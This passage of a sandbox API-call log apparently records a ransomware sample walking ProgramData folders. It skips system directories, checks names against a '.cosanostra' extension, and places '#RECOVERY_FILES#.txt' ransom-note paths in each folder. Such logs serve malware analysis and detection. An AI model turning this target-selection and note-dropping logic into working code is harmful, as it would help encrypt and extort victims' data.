(lpString1="scan_settings.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.722] lstrcmpW (lpString1="scan_settings.ico", lpString2="_uninstalling_.png") returned 1 [0079.722] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned 103 [0079.722] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.722] lstrcmpiW (lpString1="tasks.xml", lpString2="Windows") returned -1 [0079.722] lstrlenW (lpString="Windows") returned 7 [0079.722] lstrcmpiW (lpString1="tasks.xml", lpString2="Program Files") returned 1 [0079.722] lstrlenW (lpString="Program Files") returned 13 [0079.722] lstrcmpiW (lpString1="tasks.xml", lpString2="Program Files (x86)") returned 1 [0079.722] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.722] lstrcmpiW (lpString1="tasks.xml", lpString2="$Recycle.bin") returned 1 [0079.722] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.722] lstrcmpiW (lpString1="tasks.xml", lpString2="System Volume Information") returned 1 [0079.722] lstrlenW (lpString="System Volume Information") returned 25 [0079.722] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned 95 [0079.722] StrStrIW (lpFirst="tasks.xml", lpSrch=".cosanostra") returned 0x0 [0079.722] lstrcmpW (lpString1="tasks.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.722] lstrcmpW (lpString1="tasks.xml", lpString2="_uninstalling_.png") returned 1 [0079.722] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned 95 [0079.722] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.722] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.723] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\#RECOVERY_FILES#.txt") returned 106 [0079.723] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\#RECOVERY_FILES#.txt") returned 106 [0079.723] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.723] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.724] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\#RECOVERY_FILES#.txt") returned 67 [0079.724] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\#RECOVERY_FILES#.txt") returned 67 [0079.724] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.724] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.724] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\#RECOVERY_FILES#.txt") returned 62 [0079.724] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\#RECOVERY_FILES#.txt") returned 62 [0079.725] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.725] lstrcmpiW (lpString1="DeviceSync", lpString2="Windows") returned -1 [0079.725] lstrlenW (lpString="Windows") returned 7 [0079.725] lstrcmpiW (lpString1="DeviceSync", lpString2="Program Files") returned -1 [0079.725] lstrlenW (lpString="Program Files") returned 13 [0079.725] lstrcmpiW (lpString1="DeviceSync", lpString2="Program Files (x86)") returned -1 [0079.725] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.725] lstrcmpiW (lpString1="DeviceSync", lpString2="$Recycle.bin") returned 1 [0079.725] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.725] lstrcmpiW (lpString1="DeviceSync", lpString2="System Volume Information") returned -1 [0079.725] lstrlenW (lpString="System Volume Information") returned 25 [0079.725] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync") returned 39 [0079.725] lstrcmpW (lpString1="DeviceSync", lpString2=".") returned 1 [0079.725] lstrcmpW (lpString1="DeviceSync", lpString2="..") returned 1 [0079.725] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned 41 [0079.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.726] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.726] lstrlenW (lpString="Windows") returned 7 [0079.726] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.726] lstrlenW (lpString="Program Files") returned 13 [0079.726] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.726] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.726] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.726] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.726] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.726] lstrlenW (lpString="System Volume Information") returned 25 [0079.726] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\.") returned 41 [0079.726] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.726] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.726] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.726] lstrlenW (lpString="Windows") returned 7 [0079.727] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.727] lstrlenW (lpString="Program Files") returned 13 [0079.727] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.727] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.727] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.727] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.727] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.727] lstrlenW (lpString="System Volume Information") returned 25 [0079.727] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\..") returned 42 [0079.727] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.727] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.727] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.727] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.727] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\#RECOVERY_FILES#.txt") returned 60 [0079.727] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\#RECOVERY_FILES#.txt") returned 60 [0079.727] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.727] lstrcmpiW (lpString1="DRM", lpString2="Windows") returned -1 [0079.727] lstrlenW (lpString="Windows") returned 7 [0079.727] lstrcmpiW (lpString1="DRM", lpString2="Program Files") returned -1 [0079.727] lstrlenW (lpString="Program Files") returned 13 [0079.727] lstrcmpiW (lpString1="DRM", lpString2="Program Files (x86)") returned -1 [0079.727] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.727] lstrcmpiW (lpString1="DRM", lpString2="$Recycle.bin") returned 1 [0079.727] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.727] lstrcmpiW (lpString1="DRM", lpString2="System Volume Information") returned -1 [0079.727] lstrlenW (lpString="System Volume Information") returned 25 [0079.727] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM") returned 32 [0079.727] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0079.727] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0079.728] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*") returned 34 [0079.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.728] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.728] lstrlenW (lpString="Windows") returned 7 [0079.728] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.728] lstrlenW (lpString="Program Files") returned 13 [0079.728] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.728] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.728] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.728] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.728] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.728] lstrlenW (lpString="System Volume Information") returned 25 [0079.728] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\.") returned 34 [0079.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.728] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.728] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.728] lstrlenW (lpString="Windows") returned 7 [0079.728] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.728] lstrlenW (lpString="Program Files") returned 13 [0079.728] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.728] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.728] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.728] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.728] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.728] lstrlenW (lpString="System Volume Information") returned 25 [0079.728] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\..") returned 35 [0079.728] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.728] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.728] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.728] lstrcmpiW (lpString1="Server", lpString2="Windows") returned -1 [0079.729] lstrlenW (lpString="Windows") returned 7 [0079.729] lstrcmpiW (lpString1="Server", lpString2="Program Files") returned 1 [0079.729] lstrlenW (lpString="Program Files") returned 13 [0079.729] lstrcmpiW (lpString1="Server", lpString2="Program Files (x86)") returned 1 [0079.729] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.729] lstrcmpiW (lpString1="Server", lpString2="$Recycle.bin") returned 1 [0079.729] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.729] lstrcmpiW (lpString1="Server", lpString2="System Volume Information") returned -1 [0079.729] lstrlenW (lpString="System Volume Information") returned 25 [0079.729] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server") returned 39 [0079.729] lstrcmpW (lpString1="Server", lpString2=".") returned 1 [0079.729] lstrcmpW (lpString1="Server", lpString2="..") returned 1 [0079.729] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned 41 [0079.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.730] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.730] lstrlenW (lpString="Windows") returned 7 [0079.730] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.730] lstrlenW (lpString="Program Files") returned 13 [0079.730] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.730] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.730] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.730] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.730] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.730] lstrlenW (lpString="System Volume Information") returned 25 [0079.730] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\.") returned 41 [0079.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.730] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.730] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.730] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.730] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\.") returned 41 [0079.730] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.871] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.871] lstrlenW (lpString="Windows") returned 7 [0079.871] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.871] lstrlenW (lpString="Program Files") returned 13 [0079.871] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.871] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.871] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.871] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.871] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.871] lstrlenW (lpString="System Volume Information") returned 25 [0079.871] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\..") returned 42 [0079.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.871] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.871] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.871] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.871] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\..") returned 42 [0079.871] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.871] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.872] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\#RECOVERY_FILES#.txt") returned 60 [0079.872] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\#RECOVERY_FILES#.txt") returned 60 [0079.872] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.872] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.872] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\#RECOVERY_FILES#.txt") returned 53 [0079.872] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\#RECOVERY_FILES#.txt") returned 53 [0079.873] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.873] lstrcmpiW (lpString1="eHome", lpString2="Windows") returned -1 [0079.873] lstrlenW (lpString="Windows") returned 7 [0079.873] lstrcmpiW (lpString1="eHome", lpString2="Program Files") returned -1 [0079.873] lstrlenW (lpString="Program Files") returned 13 [0079.873] lstrcmpiW (lpString1="eHome", lpString2="Program Files (x86)") returned -1 [0079.873] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.873] lstrcmpiW (lpString1="eHome", lpString2="$Recycle.bin") returned 1 [0079.873] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.873] lstrcmpiW (lpString1="eHome", lpString2="System Volume Information") returned -1 [0079.873] lstrlenW (lpString="System Volume Information") returned 25 [0079.873] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome") returned 34 [0079.873] lstrcmpW (lpString1="eHome", lpString2=".") returned 1 [0079.873] lstrcmpW (lpString1="eHome", lpString2="..") returned 1 [0079.874] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\*") returned 36 [0079.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.874] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.874] lstrlenW (lpString="Windows") returned 7 [0079.874] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.874] lstrlenW (lpString="Program Files") returned 13 [0079.874] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.874] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.874] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.874] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.874] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.874] lstrlenW (lpString="System Volume Information") returned 25 [0079.874] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\.") returned 36 [0079.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.874] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.874] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.874] lstrlenW (lpString="Windows") returned 7 [0079.874] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.874] lstrlenW (lpString="Program Files") returned 13 [0079.874] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.874] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.875] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.875] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.875] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.875] lstrlenW (lpString="System Volume Information") returned 25 [0079.875] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\..") returned 37 [0079.875] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.875] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.875] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.875] lstrcmpiW (lpString1="logs", lpString2="Windows") returned -1 [0079.875] lstrlenW (lpString="Windows") returned 7 [0079.875] lstrcmpiW (lpString1="logs", lpString2="Program Files") returned -1 [0079.875] lstrlenW (lpString="Program Files") returned 13 [0079.875] lstrcmpiW (lpString1="logs", lpString2="Program Files (x86)") returned -1 [0079.875] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.875] lstrcmpiW (lpString1="logs", lpString2="$Recycle.bin") returned 1 [0079.875] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.875] lstrcmpiW (lpString1="logs", lpString2="System Volume Information") returned -1 [0079.875] lstrlenW (lpString="System Volume Information") returned 25 [0079.875] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs") returned 39 [0079.875] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0079.875] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0079.876] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\*") returned 41 [0079.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.876] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.876] lstrlenW (lpString="Windows") returned 7 [0079.876] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.876] lstrlenW (lpString="Program Files") returned 13 [0079.876] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.876] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.876] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.876] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.876] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.876] lstrlenW (lpString="System Volume Information") returned 25 [0079.876] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\.") returned 41 [0079.876] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.876] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.877] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.877] lstrlenW (lpString="Windows") returned 7 [0079.877] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.877] lstrlenW (lpString="Program Files") returned 13 [0079.877] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.877] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.877] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.877] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.877] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.877] lstrlenW (lpString="System Volume Information") returned 25 [0079.877] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\..") returned 42 [0079.877] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.877] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.877] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.877] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.877] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\#RECOVERY_FILES#.txt") returned 60 [0079.877] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\#RECOVERY_FILES#.txt") returned 60 [0079.877] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.877] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.877] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\#RECOVERY_FILES#.txt") returned 55 [0079.877] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\#RECOVERY_FILES#.txt") returned 55 [0079.878] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.878] lstrcmpiW (lpString1="Event Viewer", lpString2="Windows") returned -1 [0079.878] lstrlenW (lpString="Windows") returned 7 [0079.878] lstrcmpiW (lpString1="Event Viewer", lpString2="Program Files") returned -1 [0079.878] lstrlenW (lpString="Program Files") returned 13 [0079.879] lstrcmpiW (lpString1="Event Viewer", lpString2="Program Files (x86)") returned -1 [0079.879] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.879] lstrcmpiW (lpString1="Event Viewer", lpString2="$Recycle.bin") returned 1 [0079.879] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.879] lstrcmpiW (lpString1="Event Viewer", lpString2="System Volume Information") returned -1 [0079.879] lstrlenW (lpString="System Volume Information") returned 25 [0079.879] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer") returned 41 [0079.879] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0079.879] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0079.879] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned 43 [0079.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.963] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.963] lstrlenW (lpString="Windows") returned 7 [0079.963] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.963] lstrlenW (lpString="Program Files") returned 13 [0079.963] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.963] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.963] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.963] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.963] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.963] lstrlenW (lpString="System Volume Information") returned 25 [0079.963] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\.") returned 43 [0079.963] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.964] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.964] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.964] lstrlenW (lpString="Windows") returned 7 [0079.964] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.964] lstrlenW (lpString="Program Files") returned 13 [0079.964] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.964] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.964] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.964] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.964] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.964] lstrlenW (lpString="System Volume Information") returned 25 [0079.964] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\..") returned 44 [0079.964] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.964] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.964] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.964] lstrcmpiW (lpString1="Views", lpString2="Windows") returned -1 [0079.964] lstrlenW (lpString="Windows") returned 7 [0079.964] lstrcmpiW (lpString1="Views", lpString2="Program Files") returned 1 [0079.964] lstrlenW (lpString="Program Files") returned 13 [0079.964] lstrcmpiW (lpString1="Views", lpString2="Program Files (x86)") returned 1 [0079.964] lstrlenW (lpString="Program Files (x86)") returned 